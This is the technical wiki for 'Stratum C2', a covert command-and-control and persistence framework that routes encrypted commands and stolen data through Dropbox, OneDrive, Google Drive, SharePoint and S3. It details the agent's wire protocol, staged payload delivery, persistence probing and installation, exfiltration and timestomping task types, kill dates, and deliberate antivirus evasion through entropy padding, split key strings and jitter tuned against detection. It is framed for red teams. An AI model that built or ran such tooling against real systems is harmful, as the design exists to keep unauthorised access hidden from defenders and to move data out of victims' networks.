Stratum C2
Cloud Persistence Framework · v3.0.2 · Technical Wiki
RSA-4096 + AES-256-GCM 5 Cloud Providers Native Rust Agent Multi-Operator WebGUI 12 Persistence Techniques Entropy-Engineered Artifacts
I

Technical Reference

Cryptographic protocol · Agent architecture · Persistence engine · Transport layer · OPSEC design

1Philosophy & Design

1.1 What is Stratum?

Stratum is a cloud persistence framework built for long-haul operations that require resilient, covert communication channels. It is not a general-purpose C2 framework, a post-exploitation toolkit, or an initial access platform. Its role is precise: establish a persistent encrypted channel on a target environment and maintain it reliably over extended time horizons — weeks, months, or longer — while remaining operationally silent between uses.

The framework's primary value is as a fallback and persistence layer. In a mature engagement, primary C2 infrastructure gets burned — by incident response, domain takedowns, certificate revocation, or IP blocking. Stratum is designed to survive all of these events because it has no infrastructure of its own to burn. When the primary is gone, Stratum is still there.

Design Philosophy
Stratum does one thing extremely well: maintain a persistent, encrypted, covert communication channel over cloud storage. It is not a Swiss Army knife. The agent has a focused set of built-in capabilities (persistence, sysinfo, file transfer, shell pass-through) and is intentionally not designed to grow beyond that scope.

1.2 The Dead-Drop Paradigm

Traditional C2 frameworks run a server — a process listening on a port, requiring a domain, a TLS certificate, and IP infrastructure that can be taken down. Stratum eliminates all of this by using cloud storage as the communication medium.

Traditional C2: Target ──HTTPS──► Attacker's server ◄── Operator (domain, IP, cert, port) One takedown kills the channel. Stratum (dead-drop): Target ──HTTPS──► Dropbox / OneDrive / S3 / etc. ◄──HTTPS── Operator (legitimate cloud storage API) Nothing to take down. No exposed infrastructure. Traffic is indistinguishable from cloud sync.

The "dead drop" is a private folder in a cloud provider account containing three files: input.txt (operator writes encrypted commands), output.txt (agent writes encrypted responses), and heartbeat.txt (agent writes periodic status). The agent polls on a configurable interval. From a network perspective, this is an HTTPS POST to api.dropboxapi.com — identical to a user syncing a document.

─── Dead-Drop Architecture ──────────────────────────────────────────────── OPERATOR WORKSTATION TARGET MACHINE ┌───────────────────┐ ┌─────────────────────┐ │ Stratum WebGUI │ │ Stratum Agent │ │ (browser) │ │ (sh / ps1 / exe) │ │ │ │ │ │ + Deploy Wizard │ │ sleep(60s±jitter) │ │ + Session REPL │ │ loop { │ │ + Persist Ctrl │ │ poll cloud │ └────────┬──────────┘ │ decrypt cmd │ │ HTTPS REST/WebSocket │ exec │ │ (to Stratum server) │ encrypt output │ ┌────────▼──────────┐ │ upload output │ │ Stratum Server │ │ } │ │ (Python/FastAPI) │ └──────────┬──────────┘ │ │ │ │ RSA-4096 keypair │ HTTPS (port 443) │ HTTPS (port 443) │ Session manager │ to cloud API │ to cloud API │ History/logs │ │ └────────┬──────────┘ │ │ HTTPS │ ▼ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ CLOUD STORAGE PROVIDER │ │ (Dropbox / OneDrive / GDrive / SharePoint / S3) │ │ │ │ {folder_path}/ │ │ ├── input.txt ← operator writes encrypted cmd here │ │ │ agent reads + deletes atomically │ │ ├── output.txt ← agent writes encrypted response here │ │ │ server reads + deletes atomically │ │ ├── heartbeat.txt ← agent writes status every beacon cycle │ │ │ state=active | hostname | user | os | IPs │ │ ├── .s2l / .s2w ← encrypted stage-2 payload (staged-enc mode) │ │ │ encrypted with stub_secret baked in stub │ │ │ deleted by server on first heartbeat │ │ └── staging/ │ │ ├── in/ ← files uploaded TO target (/upload) │ │ └── out/ ← files exfiltrated FROM target (/download) │ │ │ │ Traffic: HTTPS · port 443 · legitimate cloud API domains │ │ Indistinguishable from normal cloud sync │ └─────────────────────────────────────────────────────────────────────┘ Operator ─ never ─ contacts target directly. Target ─ never ─ contacts any attacker infrastructure. The only channel is the cloud storage folder shared between both sides.

1.3 Operational Use Cases

ScenarioHow Stratum Fits
Fallback accessDeployed early in an engagement alongside the primary C2. When primary infrastructure is taken down by IR, Stratum provides continued access through a completely independent channel.
Long-haul persistenceDeployed on high-value targets for extended monitoring. Low beacon rate (120–300s) minimizes network artifacts. Maintenance windows restrict activity to off-hours to avoid detection.
Air-gap adjacentEnvironments that block custom outbound destinations but permit Dropbox/OneDrive/Google Drive (common in corporate environments that use these for business). Stratum communicates through the permitted cloud sync.
Multi-team operationsMultiple red team operators manage independent sessions through the shared WebGUI. Session ownership and locking prevent command conflicts between simultaneous operators.
Segmented attributionDifferent targets can use different cloud providers. If one provider account is identified and closed, only sessions on that provider are affected.

1.4 Key Differentiators

Most C2 frameworks share a common assumption: the attacker controls a server. Block the server — kill the implant. Stratum is built around the opposite premise: route through infrastructure the defender cannot block. Everything else follows from there.

Five capabilities distinguish Stratum from every other open-source framework in this space:

① The channel is structurally unblockable

A SOC that wants to silence Sliver blocks the teamserver domain or IP. A SOC that wants to silence Stratum has to block Dropbox, OneDrive, Google Drive, SharePoint, and S3 — which means blocking productivity tools used by every employee in the organisation. That is not a firewall rule; it is a business decision no enterprise will make. The dead-drop architecture does not try to evade detection. It operates on infrastructure the defender has already decided to trust, permanently.

② Five cloud providers, one keypair, one wizard

Dropbox, OneDrive (Microsoft Graph), Google Drive, SharePoint, and S3-compatible object storage all share the same cryptographic wire format and the same RSA keypair. Switching providers mid-engagement takes minutes and does not require touching the agent. No other open-source framework ships five enterprise-whitelisted cloud backends out of the box, unified under a single protocol.

③ Six agent formats from a single deploy flow

From one wizard run: .sh (bash, zero dependencies), .ps1 (PowerShell 7+ / .NET 6+), PE and DLL launchers, musl-static ELF, flat x64 shellcode, and a fully in-process Rust native agent — all sharing the same session and cloud channel. The operator never touches a compiler, sets an environment variable, or manages a keypair manually. This is the sharpest practical differentiator: it puts compiled cross-platform agents within reach of operators who are not developers.

④ /persist probe — know before you install

Before writing a single registry key or cron entry, the operator runs /persist probe. The agent checks every persistence technique at the current privilege level — scheduled tasks, registry run keys (HKCU/HKLM), startup folder, systemd user/system, cron, rc.local — and returns a per-technique feasibility report. Nothing is written. No artifacts are left. The operator sees exactly what is available on that specific host, then installs only what will succeed. No other framework provides a non-destructive persistence feasibility audit as a first-class command.

⑤ Guardrails baked into every agent at deploy time

Operational safety features are not bolt-ons — they are configured in the wizard and compiled permanently into every artifact:

  • Kill date: agent self-destructs (removes persist, deletes binary) on a configured date. No manual cleanup required after engagement end.
  • Maintenance window: beacon only during configured hours — silent during business hours, active at night.
  • Log-normal jitter: beacon intervals drawn from a log-normal distribution rather than a flat random range — the natural distribution of legitimate application polling, resistant to timing-based detection.
  • Compile-time stub secret + ephemeral stage-2: the key that unlocks the stage-2 payload is baked into the stub at compile time and never uploaded to cloud. The stage-2 itself is deleted from cloud on first agent heartbeat. Obtaining cloud credentials after deployment recovers nothing.
  • Shannon entropy correction: script artifacts are measured and padded with natural-language text until H ≤ 5.0 b/B — below the threshold used by common AV scanners to flag packed payloads.
  • MIME boundary randomisation: per-deployment unique multipart boundary in the Rust agent binary eliminates a static string fingerprint.
Positioning
Stratum is not a replacement for Cobalt Strike, Sliver, or Havoc. It is the persistence layer underneath them — the channel that survives when the primary C2 gets flagged, the domain gets blacklisted, or the beacon process gets killed. Deploy Stratum alongside your primary framework on day one. Use it on day four when everything else is gone.

The following table summarises the full capability set:

CapabilityDescriptionMarket Status
Zero infrastructure exposure No server ports, no domains, no TLS certificates. The only externally visible traffic is HTTPS to a cloud provider the target already whitelists. Rare — most frameworks require a listener
Five interchangeable cloud providers Dropbox, OneDrive, Google Drive, SharePoint, S3-compatible — same protocol, same keypair, switchable without redeployment. Single-provider solutions common; unified 5-provider framework is not
Six agent formats, one wizard bash, PS1, PE launcher, DLL launcher, musl ELF, shellcode, native Rust EXE/ELF — all generated from a single deploy flow. Rare in open-source frameworks
Non-destructive persistence probing Feasibility audit of all persistence techniques before any write. No artifacts left behind on probe. Unique approach
Kill date Agent self-destructs (persist removal + binary deletion) on a configured date. Baked at deploy time, requires no operator action. Present in Cobalt Strike; absent in most open-source tools
Compile-time stub secret + ephemeral stage-2 Stage-2 decryption key is baked into the stub binary at compile time — never uploaded to cloud. Stage-2 is deleted from cloud on first heartbeat. Cloud credential compromise yields nothing after first run. Unique implementation
Forward secrecy (Epoch ECDH) X25519 key exchange per check-in cycle with HKDF-SHA256 ratchet. Each epoch derives a fresh encryption key; previous keys are destroyed. KDF chain provides per-message anti-replay and fork detection. Rare in dead-drop C2 frameworks
Shannon entropy engineering Every generated artifact measured and corrected below 5.0 b/B at deploy time. Natural-language padding mimics legitimate system utilities. Not seen in other frameworks
Log-normal jitter Beacon intervals drawn from a log-normal distribution — resistant to timing-based pattern detection in PCAP and SIEM. Most tools use uniform random jitter
MSVC-ABI Rust PE compilation Windows native agents use clang-cl + lld-link + xwin SDK. PE import table identical to Visual Studio output, no MinGW fingerprints. Most Rust-based tools use MinGW
OIDC authentication Keycloak, Azure AD, Okta — or local username/password. Multi-operator with real-time WebSocket sync. Rare in open-source C2 frameworks
─── C2 Session Lifecycle ────────────────────────────────────────────────── Phase 1 · DEPLOY (minutes) ───────────────────────────────────────────────────────────────────── Wizard generates RSA-4096 keypair + pre-key pool (8 × X25519) + stub_secret stub_secret baked into stub binary at compile time (never hits cloud) Pre-key public keys baked into agent (STRATUM_PREKEY_POOL_B64) staged-enc: stage2.enc uploaded to cloud folder Operator delivers stub to target via preferred initial access vector Session row appears in WebGUI (pending state — no heartbeat yet) Phase 2 · FIRST BEACON (seconds after delivery) ───────────────────────────────────────────────────────────────────── Stub checks local hw-keyed blob (ddb) — cache miss on first run Stub downloads stage2.enc from cloud, decrypts with baked stub_secret Execution in memory — nothing written to disk Epoch 0 bootstrap: X25519 DH with pre-key → epoch_key₀ via HKDF First heartbeat.txt uploaded (v2 epoch-encrypted) → WebGUI ● LIVE Server iterates pre-key privs → derives matching epoch state Server deletes stage2.enc from cloud (point of no return) SYSINFO collected: hostname, user, OS, IPs, PID, domain Phase 3 · ACTIVE OPERATION (hours to days) ───────────────────────────────────────────────────────────────────── Operators issue commands via REPL (shell pass-through + slash cmds) /persist probe → feasibility check (non-destructive) /persist install → technique installed, artifact tracked /upload / /download for file transfer All traffic epoch-encrypted (X25519 ECDH + AES-256-GCM + RSA-PSS) Epoch key rotates every check-in — forward secrecy Multiple operators coordinated via team chat + WebSocket sync Phase 4 · MAINTENANCE (days to weeks) ───────────────────────────────────────────────────────────────────── Agent operating on long sleep (120–300s) with jitter On each restart: stub reads hw-keyed blob (ddb) — fast cold start Maintenance windows restrict activity to off-hours Persistence verified periodically via /persist status Operator logs in occasionally to check heartbeat + issue commands Phase 5 · KILL / EXFIL (final phase) ───────────────────────────────────────────────────────────────────── Exfiltrate remaining data via /download Review Artifacts tab — verify on-target footprint is clean /persist remove <id> for each installed technique /kill → removes all persistence, wipes blob, agent exits Delete session in WebGUI (with cloud channel cleanup) Delete Tradecraft package → RSA private key destroyed permanently Download XLSX report for post-op documentation

2Cryptographic Protocol

2.1 Hybrid Encryption Design

Every byte of C2 traffic between operator and agent is end-to-end encrypted using a three-layer hybrid scheme. The outer layer provides forward secrecy via Epoch ECDH (X25519) key agreement with a KDF chain ratchet; the middle layer provides command authenticity via RSA-4096 PSS signatures; the inner layer provides bulk encryption via AES-256-GCM with per-message fresh keys. An RSA-4096 key pair is generated per deployment and is never reused across sessions. The private key never leaves the operator machine; the public key is split into four fragments and baked into the agent at compile time.

Three encryption layers
Layer 1 — Epoch ECDH (forward secrecy): X25519 key exchange per check-in cycle. Each epoch derives a fresh epoch_key via HKDF-SHA256. A KDF chain (HMAC-SHA256) ratchets forward per message for anti-replay and fork detection.
Layer 2 — RSA-4096 (authentication): RSA-PSS-SHA256 signs server→agent commands. The agent verifies the signature before decrypting, guaranteeing command authenticity.
Layer 3 — AES-256-GCM (bulk encryption): Per-message fresh AES key, wrapped with the current epoch_key instead of a static session key.
The stage-2 payload / config blob (stub-secret channel) also uses AES-256-GCM. The local hw-keyed blob on disk (DPAPI on Windows, OpenSSL CBC on Linux) is a separate independent layer and is unchanged.
─── Command Path (Server → Agent) — v2 Wire Format ───────────── 1. Generate random 256-bit AES key + 12-byte nonce (per message) 2. AES-256-GCM encrypt: payload = JSON task envelope {"id":"<cmd_id>","type":"<task_type>","args":{...}} 3. GCM-wrap AES key with current epoch_key (derived from X25519 DH, rotated every check-in cycle) 4. RSA-PSS-SHA256 sign (wrapped_aes || payload_blob) using private_key.pem (server-only) 5. Prepend binary v2 header → write to cloud input.txt Wire: [0x02][epoch:4][server_eph_pub:32][wrapped_len:4][wrapped_aes] [payload_len:4][GCM_payload][RSA-PSS signature] ─── Response/Heartbeat Path (Agent → Server) — v2 Wire Format ── 1. KDF chain advance: derive msg_key + chain_tag from chain_key 2. AES-256-GCM encrypt payload with current epoch_key 3. Prepend binary v2 header with chain authentication 4. Write to cloud output.txt (response) or heartbeat.txt Wire: [0x02][epoch:4][agent_eph_pub:32][counter:8][chain_tag:32][GCM payload] Server verifies chain_tag, decrypts with epoch_key.
─── End-to-End Encryption Sequence (v2 — Epoch ECDH) ───────────────────── OPERATOR SERVER CLOUD FOLDER AGENT (browser) (Python) (Dropbox etc.) (target) │ │ │ │ │ │ │ BOOTSTRAP │ │ │ │ Agent picks prekey[i] │ │ │ X25519 DH(eph_priv, │ │ │ │ prekey_pub[i]) │ │ │ │ epoch_key₀ = HKDF( │ │ │ │ shared, session_key│ │ │ │ "stratum-epoch-0") │ │ │ │ chain_key₀ = HKDF( │ │ │ │ epoch_key, agent_id│ │ │ │ "stratum-chain-v1")│ │ │ │ │ │ │ │ │◄─────────┘ │ │ │ │ heartbeat.txt │ │ │ │ [0x02|epoch|eph_pub| │ │ │ │ counter|tag|GCM] │ │ ┌────▼────────────────────────────────────┐ │ │ │ Server tries each prekey_priv[i] to │ │ │ │ find matching DH → derives same │ │ │ │ epoch_key₀ + chain_key₀ │ │ │ │ Verifies chain_tag → decrypts heartbeat │ │ │ └────────────────┬────────────────────────┘ │ │ │ │ │ │ type: whoami │ │ │ │──────────────────►│ │ │ │ ┌────▼────────────────────────────────────┐ │ │ │ 1. Gen fresh AES key + nonce │ │ │ │ 2. AES-256-GCM encrypt JSON task env │ │ │ │ 3. GCM-wrap AES key with epoch_key │ │ │ │ 4. RSA-PSS sign (wrapped_aes || blob) │ │ │ │ using private_key.pem │ │ │ │ 5. Build v2 binary wire + server_eph_pub │ │ │ └────────────────┬────────────────────────┘ │ │ │──────────────────────────►│ │ │ │ input.txt (v2 binary) │ │ │ │ ┌────────────▼────────┐ │ │ │ 6. Read + parse v2 │ │ │ │ 7. Epoch rotate: │ │ │ │ X25519 DH(my_eph,│ │ │ │ server_eph_pub) │ │ │ │ epoch_key₁=HKDF │ │ │ │ 8. GCM-unwrap AES │ │ │ │ with epoch_key │ │ │ │ 9. RSA-PSS verify │ │ │ │10. AES-GCM decrypt │ │ │ │ → JSON task env │ │ │ │11. exec: whoami │ │ │ │12. KDF chain advance│ │ │ │13. AES-GCM encrypt │ │ │ │ JSON response │ │ │ │ with epoch_key │ │ │ │14. Prepend v2 header│ │ │ │ + chain_tag │ │ │ └─────────────────────┘ │ │◄────────────────────────── │ │ output.txt (v2 binary) │ ┌────────────────▼────────────────────────┐ │ │ 15. Verify chain_tag (anti-replay) │ │ │ 16. Decrypt with epoch_key │ │ │ → JSON response env │ │ └────────────────┬────────────────────────┘ │ "corp\jdoe" │ │◄──────────────────│ │ │ ◄───────────────────────────────────────────────────────────────── Epoch key rotates every check-in. Chain key ratchets every message. Private key never leaves the operator server. Past epoch keys are destroyed — true forward secrecy.

This design provides four security properties simultaneously:

  • Command authenticity — commands can only be issued by the holder of the RSA private key. A compromised cloud account cannot inject fake commands.
  • Response confidentiality — responses are encrypted with the current epoch key and can only be decrypted by the server. A compromised cloud account cannot read agent output.
  • Forward secrecy — each check-in cycle performs a fresh X25519 key exchange, deriving a new epoch key via HKDF. Previous epoch keys are destroyed. Compromise of the current key does not expose past traffic.
  • Anti-replay & fork detection — the KDF chain ratchet produces a monotonic counter and per-message authentication tag. Replayed or out-of-order messages are detected and rejected.

2.2 Key Generation Lifecycle

Deploy wizard runs: ↓ RSA-4096 key pair generated (Python cryptography library) │ ├─ Private key → deployments/{id}/keys/{id}/private_key.pem (operator machine only) └─ Public key → split into 4 base64 chunks (PK1..PK4) embedded as PLACEHOLDER_PK1..PK4 in agent source ↓ Pre-Key Pool generated (8 × X25519 keypairs) │ ├─ Private keys → stored in session profile (server-only, prekey_privs_hex) └─ Public keys → base64-encoded, baked into agent (STRATUM_PREKEY_POOL_B64) Agent picks one at bootstrap for first epoch DH Agent lifetime: ↓ Agent reconstructs RSA public key from PK1+PK2+PK3+PK4 at startup Agent decodes pre-key pool → bootstraps Epoch 0 via X25519 DH Epoch key rotates on every check-in cycle (forward secrecy) RSA verifies command signatures; epoch_key wraps AES keys Private key is never on the target. Never.
─── Key Lifecycle ───────────────────────────────────────────────────────── T+0 · Wizard runs │ RSA-4096 keypair generated (Python cryptography library) │ private_key.pem → deployments/{id}/keys/{id}/private_key.pem │ public_key.pem → split into PK1 · PK2 · PK3 · PK4 (base64 chunks) │ Chunks substituted for PLACEHOLDER_PK1..4 in agent source │ │ Pre-Key Pool: 8 × X25519 keypairs generated │ prekey_privs_hex → session profile JSON (server keeps all 8 private keys) │ prekey_pubs_hex → base64-encoded, baked into agent binary │ (STRATUM_PREKEY_POOL_B64 env var at build time) │ T+1 · Agent compiled / assembled │ Public key baked into agent binary at build time │ PK fragments stored as separate constants — NO PEM header │ String search for "BEGIN PUBLIC KEY" → finds nothing │ Key only reconstructed in memory at runtime: PK1+PK2+PK3+PK4 │ Pre-key pool (8 × 32-byte X25519 public keys) also baked in │ T+2 · stub_secret generated (enc modes) │ Wizard generates 256-bit random stub_secret │ stub_secret encrypts (AES-256-GCM + PBKDF2-SHA256, 210 000 iter): │ staged-enc: full stage-2 agent payload → stage2.enc on cloud │ stageless-enc: full C2 config blob → baked into binary at compile │ stub_secret baked into stub via STRATUM_STUB_SECRET env var at build │ stub_secret is NEVER uploaded to cloud — lives only in the binary │ T+3 · Agent first execution on target │ Checks hw-keyed local blob (ddb) — miss on first run │ staged-enc: downloads stage2.enc, decrypts with baked stub_secret │ stageless-enc: decrypts baked config blob with baked stub_secret │ Bootstrap Epoch 0: │ Agent generates ephemeral X25519 keypair │ DH(eph_priv, prekey_pub[0]) → shared secret │ epoch_key₀ = HKDF(shared, session_key, "stratum-epoch-0") │ chain_key₀ = HKDF(epoch_key₀, agent_id, "stratum-chain-v1") │ First heartbeat uploaded (v2 binary format, encrypted with epoch_key₀) │ Server iterates prekey_privs to find matching DH → same epoch_key₀ │ stage2.enc deleted from cloud by server on first heartbeat │ T+3+ · Active session │ Every check-in: server sends new server_eph_pub in command header │ Agent: DH(eph_priv_new, server_eph_pub) → epoch_key_{n+1} │ Previous epoch keys destroyed → forward secrecy │ KDF chain ratchets per message: chain_tag + counter for anti-replay │ RSA-PSS verifies command signatures; epoch_key wraps AES keys │ Private key: never on target, only on operator server │ T+end · Kill / post-op Operator deletes Tradecraft package private_key.pem permanently destroyed Epoch keys: already destroyed by ratchet — irrecoverable Past traffic: no key exists to decrypt any historical message

The 4-part public key split is a deliberate obfuscation technique. A simple string search for the RSA public key header (-----BEGIN PUBLIC KEY-----) in the agent binary will find nothing, because the key is stored as four separate base64 strings with no PEM headers, only reassembled in memory at runtime.

2.3 Command Wire Format (v2)

Commands are written to input.txt in the cloud folder as raw binary (v2 wire format). The agent reads the file, deletes it atomically, then decrypts. If decryption or signature verification fails, the agent writes a KM:<timestamp> marker to the heartbeat file and discards the input.

input.txt — v2 binary wire format (server → agent)
# Binary envelope with version byte 0x02:
#
#   [0x02]                    — version byte (1 byte)
#   [epoch:4 LE]              — epoch counter (uint32)
#   [server_eph_pub:32]       — server's X25519 ephemeral public key
#   [wrapped_len:4 LE]        — length of wrapped AES key blob
#   [wrapped_aes:N]           — GCM(epoch_key, random_aes_key) — nonce(12)+ct+tag(16)
#   [payload_len:4 LE]        — length of GCM payload
#   [GCM_payload:M]           — GCM(random_aes_key, JSON task) — nonce(12)+ct+tag(16)
#   [RSA-PSS signature:512]   — RSA-PSS-SHA256 over (wrapped_aes || GCM_payload)
#
# epoch_key  — derived from X25519 DH between server and agent, rotated per cycle
# server_eph_pub — agent uses this to rotate to the next epoch on its next check-in
# PSS sig    — signed with server private key; agent verifies before decrypting
#
# Agent: parse header → epoch rotate if needed → RSA-PSS verify sig →
#        GCM-unwrap aes_key with epoch_key → AES-256-GCM decrypt payload
Agent → Server wire format (heartbeat.txt / output.txt)
# Binary envelope with version byte 0x02:
#
#   [0x02]                    — version byte (1 byte)
#   [epoch:4 LE]              — current epoch counter (uint32)
#   [agent_eph_pub:32]        — agent's X25519 ephemeral public key
#   [counter:8 LE]            — KDF chain counter (uint64, monotonic)
#   [chain_tag:32]            — HMAC-SHA256 authentication tag from KDF chain
#   [GCM_payload:N]           — GCM(epoch_key, plaintext) — nonce(12)+ct+tag(16)
#
# Server: verify chain_tag (anti-replay) → decrypt with epoch_key
# If epoch > server's epoch: server rotates via DH(server_eph_priv, agent_eph_pub)
Decrypted AES-GCM plaintext — JSON task envelope
# After epoch_key GCM-unwrap + AES-256-GCM decrypt, the plaintext is a compact JSON object:
{"id":"<cmd_id>", "type":"<task_type>", "args":{...}}

# task_type values (server → agent):
#   shell          — execute shell command (all agents)
#   sysinfo        — refresh and upload system info (all agents)
#   env            — dump process environment variables (all agents)
#   sleep          — update beacon interval (all agents)
#   jitter         — update jitter percentage 0–50 (all agents)
#   upload         — push file from server to target (all agents)
#   download       — pull file from target to server (all agents)
#   exfil          — bulk file pull by glob pattern (all agents)
#   timestomp      — copy timestamps from a reference file (all agents)
#   timestomp_set  — set timestamps to explicit ISO-8601 value (all agents)
#   persist_probe  — probe all/selected persistence techniques (script agents)
#   persist_install— install persistence technique (script agents)
#   persist_remove — remove persistence technique (script agents)
#   persist_status — check status of technique (script agents)
#   persist_action — shorthand dispatch via schtask-logon (script agents only)
#   blobsave       — force re-cache of hw-keyed ddb blob (script agents only)
#   exit           — graceful agent shutdown, no artifact cleanup
#   kill           — remove all persistence + wipe blob + exit
#
# "exit" is the wire type for /stop; "kill" is the wire type for /kill.
# persist_action and blobsave are never dispatched to the Rust agent.

# Examples:
{"id":"a1b2c3", "type":"shell",           "args":{"cmd":"whoami", "cwd":"/tmp"}}
{"id":"a1b2c4", "type":"sysinfo",         "args":{}}
{"id":"a1b2c5", "type":"persist_install", "args":{"technique":"schtask-logon"}}
{"id":"a1b2c6", "type":"timestomp_set",   "args":{"target":"C:\\evil.exe", "timestamp":"2024-03-15T09:00:00"}}
{"id":"a1b2c7", "type":"exit",            "args":{}}
Decrypted AES-GCM plaintext — JSON response envelope (output.txt)
# Agent AES-256-GCM encrypts a compact JSON response object (epoch_key wraps encryption):
{"id":"<cmd_id>", "type":"<task_type>", "status":"ok"|"error",
 "output":"<stdout/stderr>", "cwd":"<path>", "staging_path":"",
 "artifacts":[{"op":"add"|"remove", "type":"<kind>", "path":"<path>"}]}

# Fields:
#   id           — echoes the cmd_id from the task (stale-response rejection)
#   type         — echoes the task type
#   status       — "ok" | "error"
#   output       — captured stdout/stderr (shell) or structured text (others)
#   cwd          — agent working directory after execution (shell only)
#   staging_path — cloud path for upload/download artifacts; empty otherwise
#   artifacts    — on-target files added or removed by persist_install/remove
Atomicity
The agent reads then immediately deletes input.txt. If multiple operators send commands simultaneously, whichever write happens last is the one the agent executes. The session locking mechanism in the WebGUI prevents concurrent command issuance to the same session.

2.4 Enc Modes: Stub Secret Scheme

Both staged-enc and stageless-enc use a stub-secret model: the decryption key is a random 256-bit value (stub_secret) generated by the wizard, compiled directly into the stub binary via a build-time environment variable, and never uploaded to cloud storage. There is no bootstrap-key file, no cloud fetch of a key, and no rearm operation — the secret lives only in the binary on disk and, after first run, in the hw-keyed blob cache.

─── Deployment (wizard) ───────────────────────────────────────── 1. Wizard generates 256-bit random stub_secret 2. stub_secret is used to AES-256-GCM + PBKDF2-SHA256 (210 000 iter) encrypt: staged-enc: full stage-2 agent payload (bash / PS1 script, ~100 KB) stageless-enc: full C2 config string (10 pipe-delimited fields): {folder}|{input}|{output}|{hb}|{sleep}|{jitter}|{pub_key_b64}|{stun_ip}|{session_key_hex}|{prekey_pool_b64} Wire format (both): "SGCM:" + base64(salt[8] + nonce[12] + ciphertext + tag[16]) 3. staged-enc: stage2.enc uploaded to cloud at {folder_path}/stage2.enc stageless-enc: encrypted config blob baked into binary at compile time 4. stub_secret baked into stub binary (STRATUM_STUB_SECRET env var at cargo build) stub_secret is NEVER written to cloud — it never leaves the build machine session_key also baked into agent at build time (PLACEHOLDER_SESSION_KEY substitution) ─── First Execution (target) ──────────────────────────────────── 5. Stub checks local hw-keyed blob (ddb cache) hw key = SHA-256(MachineGuid + MAC + SALT) → 32 bytes if blob exists and decrypts cleanly → use cached config (fast path) else → fall through to cloud / baked config (slow path) 6a. [staged-enc]: Downloads stage2.enc from cloud Decrypts with baked stub_secret in memory Injects session key via _SS_K env var before exec Stage-2 reads _SS_K → copies to SESSION_KEY → unsets _SS_K Executes full agent in memory (no disk write) 6b. [stageless-enc]: Decrypts baked config blob with stub_secret in memory session_key baked directly into agent — no env var needed 7. Agent writes hw-keyed blob to disk (ddb cache) for fast restart on reboot 8. First heartbeat uploaded → server deletes stage2.enc from cloud (staged-enc only — server-side, not agent-side) ─── After First Execution ─────────────────────────────────────── staged-enc: stage2.enc is gone from cloud. stub_secret is in the binary but the payload it decrypts no longer exists on the network. stageless-enc: config blob was never on cloud. stub_secret is in the binary. Even if an attacker later obtains: • Cloud credentials — stage2.enc is gone (deleted by server); nothing to download • Disk image — binary contains stub_secret; config only accessible via brute-force of the binary (no cloud oracle available) • Hw-keyed blob — decryption key is SHA-256(machine hw identifiers + SALT); blob is machine-bound and useless on any other host On subsequent restarts the agent boots from the hw-keyed blob — no cloud fetch needed.
─── Boot Sequence Comparison ────────────────────────────────────────────── STAGED-ENC STAGELESS-ENC STAGELESS-PLAIN ───────────────────────── ───────────────────────── ────────────────────── stub.sh / stub.ps1 / stub.sh / stub.ps1 / agent.sh / agent.ps1 / stub.exe / stub.elf stub.exe / stub.elf agent.exe / agent.elf [~40 KB] [~1.5 MB] [~1.5 MB] Contains: cloud creds, Contains: cloud creds, Contains: all config folder path, folder path, in PLAINTEXT baked stub_secret baked stub_secret, Payload: none baked ENCRYPTED config blob baked in │ exec │ exec │ exec ▼ ▼ ▼ ┌─ check ddb blob ─┐ ┌─ check ddb blob ─┐ Read plaintext │ (hw-keyed cache) │ │ (hw-keyed cache) │ config directly │ hit → fast boot │ │ hit → fast boot │ │ │ miss ↓ │ │ miss ↓ │ │ └───────────────────┘ └───────────────────┘ │ │ (first run) │ (first run) │ ▼ ▼ ▼ Download stage2.enc Decrypt baked config C2 loop begins from cloud blob with stub_secret (embedded plaintext) │ in memory │ decrypt with │ │ stub_secret in memory │ ▼ ▼ Execute stage-2 Write hw-keyed blob in memory (no disk) (ddb) for future restarts │ │ Write hw-keyed blob │ (ddb) for future restarts │ │ │ ▼ ▼ C2 loop begins C2 loop begins ← server deletes stage2.enc on first heartbeat Memory during run: Stage-2 in RAM only Decrypted config in RAM Plaintext config in RAM (never on disk) (encrypted blob on disk) (on disk as-is) What survives disk image AFTER first run: Stub + ddb blob Binary + ddb blob Full config readable stage2.enc: gone cloud: nothing sensitive All credentials visible Irrecoverable from cloud Config only in binary Credentials exposed
Session Key, Pre-Key Pool, and agent_id

Every Stratum agent embeds a per-deployment 256-bit session key at build time. In the v2 protocol, the session key serves as the HKDF salt for bootstrapping the first epoch key (Epoch 0). It is NOT used to directly wrap AES keys — that role belongs to the rotating epoch_key derived from X25519 DH.

The pre-key pool (8 × X25519 keypairs) enables the first epoch bootstrap without a direct server-agent handshake. The agent picks a pre-key public key and performs DH with its ephemeral private key. The server iterates its pre-key private keys to find the matching one.

The agent_id is SHA256("stratum-agent-id:" || session_key) — deterministic on both sides, used as the HKDF info parameter for chain key derivation. This binds the KDF chain to the specific session.

In staged-enc mode the stub hands the session key to the stage-2 payload via the _SS_K environment variable, which is unset immediately after reading. In stageless-enc and stageless-plain modes, the session key is baked directly into the binary.

2.5 Key Derivation & Entropy Engineering

PBKDF2 Iterations

All symmetric key derivation in Stratum (stage2/config enc, local hw-keyed blob) uses PBKDF2-HMAC-SHA256 with 210 000 iterations. This applies uniformly across:

  • Python wizard (providers/_wizard.py, providers/_crypto.py)
  • Rust native agent (crypto_compat.rs, const ITER: u32 = 210_000)
  • Bash stubs (-iter 210000 flag to openssl for CBC blob; 210000 in Python GCM inline)
  • PowerShell stubs (Rfc2898DeriveBytes(pass, salt, 210000, SHA256))

210 000 iterations meets OWASP 2023 minimum (120 000) with comfortable headroom. The iteration count is the same for both the GCM stage2 channel and the CBC local-blob channel — consistency prevents accidentally using a weaker setting in one path.

Entropy Engineering

High-entropy data embedded in PE/ELF binaries is a primary detection signal for tools like Detect It Easy (DIE) and Manalyze. A section with Shannon entropy above 6.5 b/B is a strong indicator of packed or encrypted content. Stratum addresses this at the artifact generation step — not as an afterthought.

How it works: after generating scripts, the wizard measures the Shannon entropy (H) of the entire file in bits-per-byte. If H exceeds the 5.0 b/B target, the wizard appends a block of natural-language padding text (~128 KB, H ≈ 4.4 b/B) and re-measures. This continues until H ≤ 5.0 b/B. The padding text is carefully chosen to be syntactically plausible system utility documentation, blending with legitimate software strings.

TargetStratum targetDIE thresholdManalyze/pefile threshold
Script .rdata/.rodata entropy≤ 5.0 b/B6.5 b/B7.0 b/B
Native Rust .rodata entropy≤ 5.5 b/B6.5 b/B7.0 b/B

The Rust native agent includes a 128 KB entropy pad compiled directly into .rodata via a #[link_section] attribute. This dilutes the entropy of the adjacent high-entropy script bytes from the embedded agent payload.

2.6 Forward Secrecy (Epoch ECDH + KDF Chain)

